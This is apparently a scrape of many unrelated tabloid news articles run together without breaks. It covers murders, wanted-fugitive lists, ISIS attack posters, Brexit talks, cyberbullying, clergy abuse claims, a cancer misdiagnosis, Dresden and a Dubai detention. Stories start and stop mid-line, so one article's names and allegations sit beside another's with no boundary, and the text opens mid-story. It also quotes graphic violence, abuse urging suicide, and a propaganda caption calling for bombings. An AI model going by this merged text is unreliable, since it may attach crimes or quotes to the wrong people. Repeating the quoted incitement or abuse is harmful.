The investigation into Reyes' death is ongoing as Capt. Berry said 'there's a lot of loose ends that need to be tied up' during the conference.

De Silva was arrested in New York and the U.S. Attorney's office in Manhattan will reportedly handle the prosecution of the crime.

Reyes was reported missing after she failed to show up to work on January 29 in New Rochelle, New York and her body was found on February 5 stuffed in a red suitcase.

The victim predicted her killing, telling her mother on the phone that she feared she'd be killed on January 28, a day before she disappeared.

Pallbearers carry Reyes' caskt into her funeral mass at St. Gabriel's Church in New Rochelle, New York, on Tueday

Mourners embrace each other outside the church before the emotional service

The hearse is seen outside the funeral home surrounded by grieving family and friends

Reyes had reportedly dumped her boyfriend de Silva a week before she went missing

During a press conference Tuesday Greenwich Police Capt. Robert Berry said authorities arrested de Silva for fraudulently using Reyes' ATM card

The suitcase had been dumped in a wooded area (above) about 15 feet from Glenville Road

'She was very scared, very frightened,' Sanchez told The Journal News.

'She didn't mention anything or no one specific. She just said, 'I'm scared. I'm paranoid, mommy. I'm getting anxiety attacks, She was having a hard time talking.'

Sanchez says she desperately tried to pry for more information, but her daughter refused to specify why she felt that way.

Reyes, a Barnes & Noble store clerk, had broken up with her boyfriend five days earlier, according to Sanchez.

'I asked her why do you feel this way? Was there someone at your house?' Reyes' mother said.

She asked about her daughter's ex-boyfriend but still Reyes told her mother 'no, it wasn't him'.

Reyes did however reveal that she didn't feel safe alone in her apartment, and expressed her concern at the murders of young women in the state.

Glenville Road runs through a quiet and somewhat isolated area of Glenville, a wealthy suburb of Greenwich with a population of just over 2,200 people

A vigil was held by family and friends on Thursday to mourn the loss Reyes, whom many have described as a 'sweetheart'

The Greenwich Police Department shared this statement on Tuesday on the arrest

'I'm worried someone is going to murder me,' Reyes then allegedly blurted out.

Her body was discovered six days later in a red suitcase on the side of a road in a wooded area of wealthy neighborhood Greenwich, Connecticut. It's 10 miles away from the New York border of her Westchester County home.

The official cause of Reyes' death has not been confirmed as the autopsy is pending.

Police said tips have been pouring in with leads in her horrific and sudden slaying.

Police said previously that Reyes did not die at the location where she was found, but they did not know where she was killed.

According to The Journal, Reyes had taken her iPad, iPhone, clothes and bed sheets with her when she disappeared.

On Thursday a candlelit vigil was held in Reyes' memory and on Tuesday a service is scheduled in New Rochelle.Detectives have released nine mugshots of some of London's most dangerous fugitives who have allegedly committed serious assaults and drug dealing.

Scotland Yard said it 'particularly wants to locate' the nine men it believes are located across the capital in areas including Camden, Lewisham and Harrow.

Among the wanted men is Daniel Cawley, 26, who allegedly attacked his victim with a spanner before fleeing, and is now thought to be in the Barnet area.

Another on the run is Nicholas Leer, 44, who is believed to have punched a man, grabbing him by the ears and smashing his head into the ground five times.

Asking the public to help officers locate the men, Detective Superintendent Lee Hill said: 'I know some people are unwilling to pass on information such as this.

'However, I would ask people to consider how they would feel if it was their family member, loved one or friend that had been seriously injured or the victim of crime.'

DANIEL CAWLEY

26 years old

Wanted on suspicion of grievous bodily harm

Daniel Cawley is believed to have been involved in a road traffic collision but tried to flee the scene. He was followed by the victim who approached him when Cawley is believed to have admitted he was drunk. He then started punching and attacking the victim with a spanner. He attempted to attack the victim's wife before smashing the windscreen and an iPhone. He then fled. Believed to be in the N11 (Enfield, Barnet and Haringey) area.

PATRICK WARD

20 years old

Wanted on suspicion of assault occasioning actual bodily harm

Patrick Ward is accused of assaulting police in the execution of duty and obstructing a constable in the execution of duty contrary to section 89 (1) and (2) of the Police Act 1986. He has been identified as making off from the scene of a burglary by an officer at scene. Ward attempted to get into a vehicle and drove off, causing the officer to fall and injure themselves. Ward mounted the pavement, causing another officer to jump out of the way - although no injury was suffered. Believed to be in the SW12 (Lambeth and Wandsworth) area.

NICHOLAS LEER

44 years old

Wanted on suspicion of grievous bodily harm

Nicholas Leer is believed to have punched a victim, instigating a fight during which he apparently grabbed the man by the ears and smashed his head into the ground about five times, until they was unconscious. Believed to be in the NW5 (Camden or Islington) area.

JAMES LEGG

25 years old

Wanted on suspicion of grievous bodily harm

James Legg is suspected of assaulting a female victim with a knife, causing her injury. He is also wanted on a bench warrant issued at Blackfriars Crown Cour, relating to an ongoing grievous bodily harm matter where he is alleged to have punched someone, causing a bleed on the brain. Believed to be in the NW1 (Camden and Westminster) area.

MOHAMMED YASSIN

32 years old

Wanted on suspicion of grievous bodily harm

Mohammed Yassin is wanted on suspicion of grievous bodily harm from an incident in 2011 following an argument where he is believed to have stabbed his victim in the head, neck, arm and abdomen, nicking his liver. He is also wanted in relation to a racially aggravated public order offence in 2011, and wanted for recall to prison.

ANTHONY McDONAGH

30 years old

Wanted on suspicion of grievous bodily harm

Anthony McDonagh is wanted on suspicion of grievous bodily harm because he is suspected to have attacked a man, punching him and attempting to gauge his eyes out, leaving him blind in one eye. Believed to be in the SE15 (Lewisham and Southwark) area.

ALEX ELLIS

28 years old

Wanted on suspicion of serious and common assault

In June 2018 during a heated argument with a woman, Alex Ellis is believed to have punched her in the head, causing bruising and swelling. He failed to attend police interview. Then in October, Mr Ellis argued with another woman, and is believed to have pushed her to the floor causing her to hit her head. He also damaged a vase and mirror and made off from police. Thought to be in the SW9 (Lambeth) area.

GABRIEL LATOUCHE

18 years old

Wanted on suspicion of drugs supply

Gabriel Latouche is a teenager believed to be involved in drugs supply. He is thought to have stabbed a victim leaving a 0.8in (2cm) wound to left side of his back. Identified through CCTV of incident. Thought to be in the W3 (Ealing) area.

YOUSEF MAJED

25 years old

Wanted on suspicion of serious assault

Scotland Yard detectives believe that last month, Yousef Majed and four or five other people assaulted two victims with a wooden bar, metal poles and knives. Both victims suffered severe injuries. He is thought to be in the HA3 (Harrow) area.

Revealed: Britain's most wanted fugitives including on-the-run murderers, rapists and drug barons

Murderers, rapists and drug dealers are among Britain's 27 most wanted fugitives.

The National Crime Agency hopes the images released in its UK-wide fugitive sweep last year will help capture those who pose a threat to the country's security.

Among those on the run are Dominic McInally, the alleged leader of a drug-trafficking gang and Shane O'Brien, who allegedly killed a 21-year-old man in 2015.

Also on the list is Mark Quinn, from Liverpool, who is wanted by Police Scotland on suspicion of supplying amphetamine between August 2013 and April 2014.

Meanwhile David John Walley is alleged to have arranged drug importation. In 2013, one of the packages with MDMA and cocaine was intercepted by authorities.

If any member of the public is able to identify any of the fugitives pictured they are asked to call independent crime-fighting charity Crimestoppers on 0800 555 111.

Dominic McInally (left) is the alleged leader of a drug-trafficking gang which saw members travel to the French and Belgium border to collect six kilos of cocaine, and is wanted by Merseyside Police. Costas Sampson (right) was convicted of raping a girl in August 2018. He met the girl at a nightclub before raping her at her home while she was incapacitated

Shane O'Brien (pictured) allegedly approached a 21-year-old man from North London before stabbing an item into his neck in 2015 and killing him. It is believed he is now in Europe

Mark Quinn (left) was allegedly involved in the production, transportation and distribution of amphetamine. He is wanted by Police Scotland. David John Walley (right) is alleged to have arranged the importation of drugs. In 2013, one of the packages, being sent to an address in Manchester, was intercepted by authorities and found to contain MDMA and cocaine

In July 2015 police believe David Ungi (left), and two associates were in a vehicle in Liverpool, which hit a motorcycle which has two men on it. One of the men was shot with a 12-gauge shotgun and killed while the other was injured. Ungi is wanted on attempted assault occasioning grievous bodily harm and conspiracy to supply heroin. Shazad Ghafoor (right) was charged with fraud, possession of criminal property, dangerous driving and disqualified driving after he took a courtesy car from a dealership in Manchester using a driving licence under another person's name and crashed it after a police pursuit. He was also charged with possession of cannabis after a vehicle was searched and cannabis worth 245,000 was found

Police are searching for Timur Mehmet (left) after his role in cheating the public revenue. He was operating a Missing Trader Intra-community (MTIC) fraud and caused the country to lose 25 million. Mehmet Salih (right) was allegedly part of a conspiracy to supply cocaine and thought to have been regularly contacted by another person for the intention of buying and delivering cocaine. According to police, Salih has a scar on his right eye

During his employment at the bank JP Morgan Cazenove in London, Ersin Mustafa (left) is said to have taken part in insider dealing. It is believed after obtaining and trading information the group he was a port of made approximately 2.5million. Ozgur Demir (right) is wanted by authorities in connection with conspiracy to supply 17.83 kg of diamorphine

Osman Aydeniz (left) is a Cypriot national who is believed to have been involved in the supply of 17.83 kg of diamorphine. Christakis Philippou (right) is believed to have been involved in the acquiring and setting up of travel agency businesses to commit fraud

Sarah Panitzke (left) is thought to have been a senior member of a crime group that committed fraud. She is wanted by HMRC. Daniel Bowes (right) was part of a group that is believed to have been involved in the running and importation of cocaine from the Netherlands

Daniel Dugic (left) is alleged to have been part of a plan with other individuals to import 255 kilos of cocaine. Derek McGraw (right) is wanted by police in connection with the murder of Thomas Cameron in 2007

Allan Foster (left), who is also known to use the name Shaun Michael Wilkinson, is wanted for the alleged murder of David 'Noddy' Rice on May 24, 2006. Christopher Guest More (right) is being hunted his connection with the murder of a man in Cheshire, in June 2003

Police have released this image of Fatah Benlaredj (left), who is wanted for the rape of a girl aged seven. John Barton (right), who is in his 60s, was convicted in his absence for conspiring to import a commercial amount of heroin to the country. He was jailed for 20 years in 2003

Michael Paul Moogan (left), from Liverpool, is wanted in connection for a Rotterdam cafe raid in 2013. It is believed the raid was part of a series of attacks in the UK and the Netherlands. In 2006, Rezgar Zengana (right) posed as a private hire taxi driver and picked up a 25-year-old female victim before raping her

Kevin Parle (left), who is also known as Hemp, is wanted by police in connection with the murders of 16-year-old Liam Kelly in 2004, and Lucy Hargreaves in 2005. Shashi Dhar Sahnan (right) is wanted in connection with the importation of heroin into the countryA woman in Texas has been charged with first-degree murder after she allegedly tied a man up and beat him to death with a drill.

Mandy Lou Villegas, 42, was arrested on Tuesday after the gruesome discovery of a 36-year-old man in San Antonio on Monday.

Police say the man may have been tied up and killed on Eldorado Street in the Palm Heights area of the city.

San Antonio Police mugshot of Mandy Lou Villegas, 42, who was arrested on Tuesday and charged with first-degree murder

El Dorado Street in the Palm Heights area of San Antonio, Texas, where police say a 36-year-old man was found dead

Cops said they were called to a home at around 10pm where they discovered the bloody scene and the corpse of the victim, San Antonio Express News reported.

The woman admitted to tying the man up and going after him with the power tool, KSAT reported.

Court records show that police had been called to the property 11 times last year, the broadcaster reported.

Villegas has been charged with first-degree murder and was detained at Bexar County Jail on a $250,000 bond.

Authorities have not yet confirmed the relationship between Villegas and the victim.Video of a pair of high school girls encouraging a classmate to kill herself has been shared widely on social media.

The confronting footage, which was uploaded on Wednesday morning, shows two Gold Coast schoolgirls telling another teen they would 'stomp' and 'drown' her, before saying she should take her own life.

The girl their abuse is directed at is not present in the video.

Horrific video of a pair of school-aged girls hurling abuse and threats has emerged

In the Snapchat videos, the main instigator in the tirade, a girl in a plain black t-shirt, spits and screams at the camera while another friend giggles in the background.

'F**king roll another f**king durry in the f**king corner to avoid your f**king problems, 'cause everyone f**king hates you and everyone f**king wants to kill you, 'cause you're a little f**king s**t.

'And you're probably gonna kill yourself before I f**king kill you, but you know what, I want to f**king kill you, 'cause you're a f**king slut, 'cause I f**king hate you.'

Both of the girls in the Snapchat videos threaten their target with violence, before saying she would 'probably'

The girl who could previously be heard laughing then jumps at the camera, saying she would 'stomp' the girl with her own shoes.

'If I f**king see you, you're gonna f**king drown and you're gonna f**king die, you know what, you'll probably f**king kill yourself because everyone hates you.'

The man who uploaded the footage says he's a friend of the family whose daughter was the target of the abuse.

Four Snapchat videos were sent in quick succession during the expletive-laced tirade

The social media post was met with hundreds of comments advising the family to go to police, while others called for the girls involved to be expelled.

The video has been viewed more than 58,000 times in only 14 hours.

Majority of the comments label the girls involved as 'vile'.

Queensland Police are not aware of a complaint lodged in retaliation to the video.

To date, the federal government's cyber bullying authority have responded to more than 1,100 cyberbullying reports from young people.

A spokesperson told Daily Mail Australia they had a 100% compliance rate from the social media sites when it came to removing offending material.

For confidential support call the Lifeline 24-hour crisis support on 13 11 14 or Kids Helpline 1800 55 1800

To report cyber bullying, visit www.esafety.gov.au/reportcyberbullyingISIS fanatics are calling for so-called 'lone wolf' attacks to be carried out in France, using a digitally manipulated image of the Eiffel Tower in Paris going up in flames.

It also shows the black and white flag of the Islamic State flying from the iconic landmark, as another strike is launched on a building nearby.

Supporters of the Islamist terror network have been known to release similar posters in the past, often using images of major Western cities such as New York and London.

Paris burning: This poster, intending to encourage 'lone wolf' terror attacks on the French capital by ISIS supporters, has been shared online

They are often shared on encrypted messaging apps such as Telegram, to 'inspire' extremists to carry out terror attacks.

On Monday, the same group issued a poster depicting an artillery strike on the White House in Washington DC, the Colosseum in Rome and Egypt's famous pyramids, threatening to 'demolish thrones'.

On New Year's Day, they published a chilling poster showing a jihadist with a sniper rifle looking out over New York, and another of a hooded fanatic standing in a crowd in London.

In the image of London, blood can be seen on Big Ben while other buildings burn in the background.

A jihadist with his face hidden holds a finger to his lips next to a caption saying: 'Welcome to bloody years - The lone wolf action'.

The New York poster, meanwhile, features the caption: 'And hit them with the explosive belts and vehicle bomb, and shock them with adhesive explosives and packages, and harvest them with silencers and snipers, horrify and terrify the with the intrusions.'

More threats: ISIS jihadists urged extremists to carry out 'lone wolf' attacks on Big Ben (pictured), Manhattan and Moscow on New Year's Day

One chilling online poster shows a jihadist with a sniper rifle looking out over New York

The latest threatening poster follows a report by the United Nations published this week which claims that ISIS militants have a secret war chest of up to $300 million (230 million) which could be used to sustain its operations and fund new attacks on the West.

The terror group is assessed to have 'bulk-stored' some of the money in its stronghold area, while the rest has been smuggled abroad or invested in legitimate businesses.

Even if ISIS militants are forced out of their last holdout this week, the group has concealed the majority of its financial assets 'with a strategic view to funding larger-scale attacks once the opportunity arises again,' the report says.

A U.S-backed international coalition including the Kurdish-led Syrian Democratic Forces (SDF) has driven ISIS from its core areas of Mosul and Raqqa so that only a small enclave in the eastern city of Baghouz remains under its control.

Around 600 militants are left battling the coalition and U.S. President Donald Trump said they may declare victory over the terrorist organisation within days.

Tens of thousands of people, mostly women and children related to ISIS fighters, have fled the shrinking jihadist holdout to opposition territory, many of them claiming they were not supporters of the terror group.

But the U.N report also warns that foreign fighters and the extremists' dependents will still pose a threat even after ISIS is defeated.The Irish backstop could be reviewed every six months if it ever comes into force, diplomats suggested today as the UK and EU scramble to find concessions.

The idea of regular reviews is designed to reassure Brexiteers the measure, intended to avoid a hard border in Ireland in all circumstances, will not last forever.

But it falls far short of demands the backstop have a time limit or allow Britain to unilaterally end it.

Following last month's 230-vote drubbing of the Brexit deal, Theresa May has said the backstop must be re-written to have any chance of being agreed by MPs.

The idea of regular reviews is designed to reassure Brexiteers the measure, intended to avoid a hard border in Ireland in all circumstances, will not last forever (file image)

Following last month's 230-vote drubbing of the Brexit deal, Theresa May (pictured in Downing Street yesterday) has said the backstop must be re-written to have any chance of being agreed by MPs

The Prime Minister faces claims she is 'running down the clock' and will only present a partial solution at the last possible moment ahead of exit day on March 29.

Brexit Secretary Stephen Barclay held a second day of talks with EU officials later while Mrs May is due to meet with EU Commission President Jean-Claude Juncker again before the end of February.

If she fails to secure a deal in time, MPs are due to vote on Brexit again on February 27 and could seize control of the negotiations.

One diplomat told the Sun: 'This is nothing but delay tactics mostly focussed on the UK itself.

'It's all pushing it into March. March is going to be frantic, then come March 21 this is when things need to culminate.'

They said a compromise could include a commitment to review the need for the backstop every six months with 'more weight given to tech advances'.

The diplomat said: 'Then May could argue she's introduced a possibility that could curb the backstop to one or two years.'

Brexit Secretary Stephen Barclay (pictured last week at No 10) held a second day of talks with EU officials later while Mrs May is due to meet with EU Commission President Jean-Claude Juncker again before the end of February

They added: 'We really wouldn't accept a backstop which in essence or practice would be time-limited.'

An EU official told the paper: 'The problem is on the substance. We disagree on the content. The EU can't give what the UK is requesting in terms of a limit.'

Mr Barclay told BBC Radio 4's Today: 'The Prime Minister has been very clear that we are committed to leaving on March 29.'

The Brexit Secretary, who met senior MEPs in Strasbourg on Tuesday, added: 'What came over was actually that it is not in anyone's interests to have an extension without any clarity.

'It is actually very disruptive to the European Parliament.

'They have obviously elections for the Parliament and a Commission that will be formed at the end of May, so there is no desire on the European side to see what one described to me as an 'extension in darkness', where there is no clarity as to why we are extending.'A man was trampled to death by his own bull after he fed it alcohol before a bullfight in south-west China.

Villagers in Jianhe County, Guizhou province held a festival on Thursday to celebrate the Lunar New Year when the owner brought his bull into the ring to face its opponent for the contest.

However, the intoxicated beast went into a rampage and charged at the man, knocking him down in front of horrified spectators. He later died of his injuries in hospital, according to Chinese media.

A man was trampled to death by his own bull after he fed it alcohol before a bullfight in south-west China on Tuesday. He died of his injuries in hospital in Jianhe County, Guizhou province

The intoxicated bovine was seen running around the pen after knocking down its owner

Video footage shows the bovine attacking its owner as soon as it was led into the ring, leaving him injured and face down on the ground.

It was then filmed running around the arena, appearing to be out of control. It also charged at the other bull with its horns.

People who were coordinating the event inside the ring were seen desperately jumping out of the pen and running to safety.

Video footage shows the bovine attacking its owner as soon as it was led into the ring, leaving him injured and face down on the ground in front of horrified spectators

The rampaging bull is also filmed charging at the other bull with its horns in the arena

'The owner was trying to give him a little bit of liquid courage before the fight,' a witness told video news site Pear.

But then it got drunk and probably mistook his owner as the other bull, the man added.

Bystanders immediately rushed the man out of the arena and transported him to hospital, where he was later pronounced dead.

According to tradition, the fight ends once a bull gets tired and gives up. The owner of the winning bull is awarded with cash.A disabled pensioner was left stranded in Melbourne last week after Jetstar staff told him he was 'too heavy' to fly.

Ian Smith had flown with the airline just days earlier, but was stopped by airport officials when he tried to board his return flight to NSW on Friday, 7News reported.

The 67-year-old, who has suffered a stroke, said the airline didn't give him a reason for why he couldn't fly.

Stranded with no where to go, Mr Smith was forced to stay in a small hotel near the airport.

Ian Smith, 67 (pictured), had flown with the airline just days earlier, but when he tried to board his return flight on Friday he was stopped by airport officials

'I'm gutted. I'm totally gutted,' the wheelchair-bound pensioner said.

'They treat me like an idiot and I'm not an idiot. I'm disabled, but I'm still a human being.'

His son, David Smith, said it was especially frustrating for their family because the airline didn't provide a reason for the sudden decision.

'They couldn't even give us a distinct reason as to why he would be denied boarding,' David said.

The airline later confirmed Mr Smith's weight was the issue and he had been denied passage because he was too heavy for transfer by the airline's wheelchair.

News of the ruling was a surprise to Mr Smith, who claimed he had previously been assisted to his seat by airport staff and never told about a weight restriction.

The airline later confirmed Mr Smith's weight was the issue and he had been denied passage because he was too heavy for transfer by the airline's wheelchair

But according to the airline, the ruling has always being in place and he should never have been allowed to fly in the first place.

In a statement, Jetstar apologised to Mr Smith.

However, the airline said staff who helped lift him into his seat during previous flights had breached company policy.

'Manually lifting passengers requiring wheelchair assistance can create a safety risk for our staff and the passenger being carried,' a Jetstar spokesperson told Daily Mail Australia on Friday.

Mr Smith was eventually allowed to fly home on a sister Qantas plane on Wednesday, which has a special lifting hoist to assist with the transfer safely.

'We have made arrangements with Qantas on this occasion so that Mr Smith and his carer can fly home,' the spokesperson said.

The 67-year-old former police officer was all smiles when he finally arrived back home, but he has urged the airline to 'please, lift your game!'An elite Catholic boys school in Melbourne has been rocked by sexual abuse claims after eight former students claimed a brother assaulted them.

Jason Parkinson, of Porters Lawyers, told Newscorp he is investigating allegations of historic abuse by a man known as Brother Anselm at De La Salle College, Malvern between 1960 and 1989.

Mr Parkinson says that teachers raised concerns about Anselm, also known as Tom Hallam, at the time, but they were ignored by the brothers.

When the school could no longer turn a blind eye, he was subsequently moved to another school in Revesby, New South Wales.

Students at Revesby have also claimed they were assaulted by Anselm.

An elite Catholic boys school in Melbourne has been rocked by sexual abuse claims after eight former students claim a brother assaulted them (stock)

Anselm died in the 1990s as allegations about his conduct began to surface.

'He was a serial paedophile who has many victims,' Mr Parkinson said. 'The order knew he was a risk but they still allowed him access (to children).'

De La Salle Principal Peter Houlihan told Newscorp that up to eight former students have approached him about abuse by Brother Anselm at the school.

'We've unreservedly and wholeheartedly apologised  we just have to acknowledge this is a terribly shameful period in our history,' he said.

The De La Salle Brothers said in a statement they acknowledge abuse occurred and would 'work to provide some healing through counselling, apology and monetary compensation to those who have experienced abuse in any of our facilities.'

They encouraged anyone who experienced abuse to contact the police.

Mr Parkinson has also said anyone wanting to find more information on the case can visit the Porters Lawyers website.

Daily Mail Australia has contacted De La Salle College for comment.The family of a woman who was mistakenly told six times she didn't have cervical cancer before dying of the disease last week have demanded more effective screening.

Nurse Julie OConnor, who worked for the NHS for 13 years, died aged just 49 after the health service missed signs of cancer despite repeated testing.

Speaking to Good Morning Britain today, her widower Kevin O'Connor said reform was desperately needed after he only secured a diagnosis by consulting a private doctor.

Mr O'Connor said he was 'dumbstruck' when he sent smears off for a second opinions only to find them 'riddled with cancer cells'.

Julie O'Connor (pictured in hospital) died last week after the NHS told her six time that she didn't have cancer

Julie O'Conner (pictured) died of cervical cancer last week despite NHS staff telling her on six occasions that she did not have the disease

Before her death, his wife appeared in heartbreaking video speaking of her disgust at the failure of Bristol's Southmead Hospital to detect her illness.

Appearing on this morning's show alongside his daughter Sophie, Mr O'Connor said they are determined to fight for a more robust screening process.

'This is not about the blame this is about ensuring we have a safe and effective cancer screening process,' he said.

The grieving father said that recommendations from a 2012 review over cancer failings at North Bristol NHS Trust were not implemented.

Kevin O'Connor and his daughter Sophie (pictured) both told Good Morning Britain that they are determined to secure better screening on the NHS

'I'm not angry because that's not going to help us,' he said. 'We would just like an independent public inquiry... we need to look forward.'

It was three years after her original missed diagnosis that Mrs O'Connor learned she had cancer.

By that point it was terminal and she died last week at St Peter's Hospice in Bristol. Her family are pushing for an independent review into cervical smear screening at Southmead Hospital.

This morning her daughter said that her mother 'created such positivity and happiness until the very end for us'.

'[She was] really funny,' she said. 'There was never a moment in my life where I don't remember her making things better.'

Mrs OConnor spent 13 years working for the NHS Arrowe Park Hospital on the Wirral, where she was a sister on an intensive care unit.

Misdiagnosed: Kevin O'Connor (right) and his wife Julie, who died of cancer earlier this month

Too late: Ms O'Connor was finally given a correct diagnosis when assessed privately, some three years after her initial smear test in 2014

She took up a position in Germany as an international school nurse and held that role for almost six years.

When they returned to Britain, Mrs OConnor worked as the theatre recovery lead at Emersons Green Treatment Centre.

North Bristol Trust has commissioned an independent review of the investigation it carried out into Mrs OConnors care.

It admitted negligence relating to the delayed diagnosis of cancer and a spokesman said solicitors were working towards a settlement.

Dr Chris Burton, the trusts medical director, told the Daily Mail yesterday: We are extremely sorry to hear that Mrs OConnor has died.

We have her family in our thoughts at this very difficult time and we send our deepest condolences.

'We are committed to understanding the full circumstances of the care we provided so we can improve our services for the future, and we will be publicly open with the overall findings of the independent investigation we have commissioned. I have met with Mr OConnor and will remain in contact with him.A British prisoner of war who was saved from a firing squad by the Allied air raid on Dresden has told of the horrendous aftermath of the bombing and how he managed an incredible escape.

Victor Gregg, a 25-year-old rifleman who had been caught twice trying to escape his POW camp, was readying himself for the firing squad on February 13, 1945, when the first RAF planes were seen overhead.

Describing how the ensuing 1,500C firestorm ripped through the city, the 99-year-old told Good Morning Britain: 'There was never sign of any children, because the children melt, their bones are too tender.'

The RAF and US Air Force raid on Dresden began just as a 25-year-old British rifleman was due to be shot at a prison in the city. Pictured: The devastated Old Town on February 14, 1945

Mr Gregg was captured at the Battle of Arnhem in September 1944 and taken to a Nazi POW camp. As punishment for two escapes he was sent to a soap factory, which he burnt down, prompting furious German officers to put him on death row.

On February 13, he was waiting with hundreds of other condemned men due to be shot the next morning in a temporary prison in Dresden when he saw the first RAF planes overhead.

'It was around 10 o'clock when the Mosquitos came over and dropped their flares - we could see that through the glass cupola in the roof in the prison,' he said. 'We immediately knew that we were in trouble.

'It was bedlam, some of these incendiaries broke through the cupola and all the glass came down. Anyone who was underneath that were pierced and caught alight with the [phosphorus].'

A huge bomb dropped just outside the prison, killing 'four-fifths' of the men inside and knocking Mr Gregg unconscious. He quickly came to and was rounded up with the other prisoners by the guards.

On February 14, Mr Gregg said survivors of the first raid came up from their underground shelters, leaving them vulnerable when US Air Force bombers hit again.

'When the second wave came over these people were trapped out in the open and the bombs were much bigger,' he said.

'It was aimed specifically at civilians and you've got to ask yourself, well who were the civilians? It wasn't the able-bodied men, they were all away in the Army.'

Victor Gregg (left, today on Good Morning Britain and on the right during World War Two) witnessed the devastation as a firestorm tore through the city

Mr Gregg appeared on Good Morning Britain today alongside the TV historian Dan Snow

Calling Dresden a 'war crime', Mr Gregg went on to describe other scenes of devastation he witnessed.

He said: 'It was the manner in which these people died. If I tell you, your brain can't accept it.

'If you got into an area in the centre of the city, then you didn't even see skeletons, it was all sort of a jelly with odd bits about.

Mr Gregg in a photo taken when he was a young man

'You saw young women and children dragged into a wind vortex as the fire got hotter. It was like an enormous tree trunk but a hundred times bigger.

'You've got to imagine yourself in a cellar and it's getting hotter and hotter.

'And you're looking around and everyone's getting cracked open.'

By the third day of the raid he was told to go to a communal shelter with the other prisoners.

That evening, when he was meant to return to custody, he fled over a bridge and managed to join Russian forces coming from the east.

Reflecting on his extraordinary escape, he said: 'It's just as well to remember that if the planes hadn't gone over, I would have been marched out into a courtyard, strapped into a ring in the courtyard and shot.'

Mr Gregg wrote a book about his experiences, called Dresden: A Survivor's Story.

He added: 'That book is confined to what I experienced in my very small perimeter, that's why it's so small.

'It would be nice to think that when I'm getting older I'm doing something to alleviate the horror that war between nations brings.'

Mr Gregg in his Army uniform during the war (left) and women clearing rubble from the Zwinger art gallery, during post-war rebuilding of DresdenEx-corporal Andy Neal has been locked up in a Dubai prison since October after being wrongly being arrested on drugs charges

A British army war hero has been locked up in a Dubai prison for over four months after wrongly being arrested on drugs charges, Mail Online can reveal.

Former corporal Andy Neal has been held since he was forced to sign a confession in Arabic in October.

He has repeatedly denied any involvement in drug dealing and despite not a shred of evidence to suggest any wrongdoing has languished in jail.

Prosecutors in Dubai have now admitted the 44-year-old, who was diagnosed with post traumatic stress disorder after serving in Afghanistan, is innocent but refuse to set him free.

They have even threatened to transfer his case to another court in the United Arab Emirates and prolong his prison nightmare.

His mother Susan, 69, told Mail Online: 'After everything my son has been through, I am absolutely appalled and shocked that he could be so horrendously treated.

'How can a judicial system do this to a man they know is innocent? Andy just wants to come home to the UK and recover from this ordeal.

'He has experienced enough trauma in his life. It breaks my heart that this is happening to my son.'

His family are appealing to Nottingham born Mr Neal's MP to try and help secure his release.

The father-of-two moved to Dubai with his teacher wife (pictured) to run a dog training school after 24 years serving with the British Army. He remains in jail despite prosecutors confirming he is innocent

His case has been taken up by the pressure group Detained in Dubai who have said he has been the victim of 'despicable police practice'.

'The police not only failed to competently investigate the case, but have locked up an innocent British family man for over four months,' said Detained in Dubai founder Radha Stirling.

'It is shameful what has happened to Andy. His business is going under and he has missed many family events.'

Mr Neal, who served for 24 years in the army with tours of duty in Afghanistan and Iraq, was arrested on October 4.

He had been living in Dubai with his family since 2015 where he runs a successful dog training school.

The 44-year-old has repeatedly denied any involvement in drug dealing and despite not a shred of evidence to suggest any illegal activity has languished in jail

Having been diagnosed with PTSD from his last deployment to Afghanistan, he had settled into the Arab kingdom with his teacher wife and their children aged six and two.

His nightmare began when he returned from work and was suddenly surrounded by seven plain clothes detectives who searched his car.

The army veteran was frogmarched to his apartment where officers carried out another cursory search, emptying a few drawers and looking in cupboards.

His terrified wife was told not to call anyone while Mr Neal was assaulted and told he faced up to 10 years in jail.

The couple were warned if they did not co-operate their children would be taken away.

He told police: 'I do not have anything to do with drugs.'

Even though he pleaded his innocence he was arrested and handcuffed for 17 hours with no food, water or access to the bathroom.

Both his wife's and his phone were confiscated and police drew up a statement in Arabic which he was told to sign.

When Mr Neal complained that he had no idea what it said he was told curtly by an interrogator 'It's exactly what you said'.

Mr Neal, who spent his last years with the army as a member of the Royal Veterinary Corp, later found out he had 'confessed' to buying drugs from a Dutch national called Ray and later selling them to someone he had never met called Ahmed.

Police told him Ahmed had admitted Mr Neal sold him drugs  a lie that would later be revealed in court.

Three weeks ago a man Mr Neal, from Nottingham, was accused of selling drugs to admitted he had lied to police and his damming statement was withdrawn. Now he is awaiting to be formally acquitted and freed

During his first court hearing the police mixed up the evidence and Mr Neal learned he was one of 17 people arrested in a 'drugs sting operation'

When he was asked by a prosecutor about his confession he told them: 'I have not said any of the things in the statement and had no dealings with any of this at all.'

While being held in Dubai's central prison his wife was only allowed to see him once a week.

Friends revealed Mr Neal, who served in the Worcesters and Foresters Regiment, broke down in tears as he spoke with his wife.

Mr Neal, 44, was made to sign a confession which he didn't understand because it was written in Arabic

The British Embassy has offered little support, according to friends, and his parents Maurice and Sue have been frantic with worry while he is being held.

After being held in police cells he was transferred to Dubai's central prison where conditions are far below those of a British jail.

Over the Christmas period Mr Neal had several court hearings cancelled when the prosecutor failed to turn up.

Three weeks ago Ahmed admitted to prosecutors that he had never bought any drugs from Mr Neal and his damming statement was withdrawn.

Police also failed to find any evidence of drug dealing at his home or any telephone calls between him and the other 16 accused.

Despite the case against Mr Neal collapsing the prosecutor said he would make a final decision on his fate by the end of January.

According to Detained in Dubai if Mr Neal is released immediately the prosecutor will have to admit they have been wrong.

But by transferring the case out of Dubai to another court in the UAE it would no longer be their responsibility but the investigation would start from the beginning leaving Mr Neal locked up.

Radga Stirling said: 'Andy should not spend another night in prison, let alone another four months.

'It is shameful that law enforcement has a rubber stamp to ruin people's lives, rob children of their parents and jail innocent people with impunity. Why are forced confessions still standard in the UAE?

'We are calling on Foreign Secretary Jeremy Hunt and MP Mark Spencer to stand up for Andy Neal, a man who has dedicated much of his life to supporting British forces abroad and who was recovering from PTSD following service in Iraq, Afghanistan and Bosnia.'

A Foreign Office spokesman said: 'We are providing assistance to a British man after his arrest in Dubai and are in touch with his family and the UAE authorities.'

A spokesman for the UAE Embassy in London was unavailable for comment.Advertisement

A beautiful image of two male lions rubbing each other's faces in Tanzania has been crowned the People's Choice wildlife photo of the year.

The picture, entitled Bond of Brothers, won the contest organised by London's Natural History Museum after 16,000 nature lovers took part in a public vote.

It was taken by New Zealander David Lloyd, who said the animals had lovingly rubbed their faces with their manes entangled for 30 seconds before they settled down again.

He said the image 'illustrates the emotion and feeling of animals and emphasises that this is not limited to humans'.

Also highly commended were a photo of three king penguins on a beach during an idyllic sunrise in the Falkland Islands, and a playful image of three African wild dogs fighting over an impala's leg in South Africa.

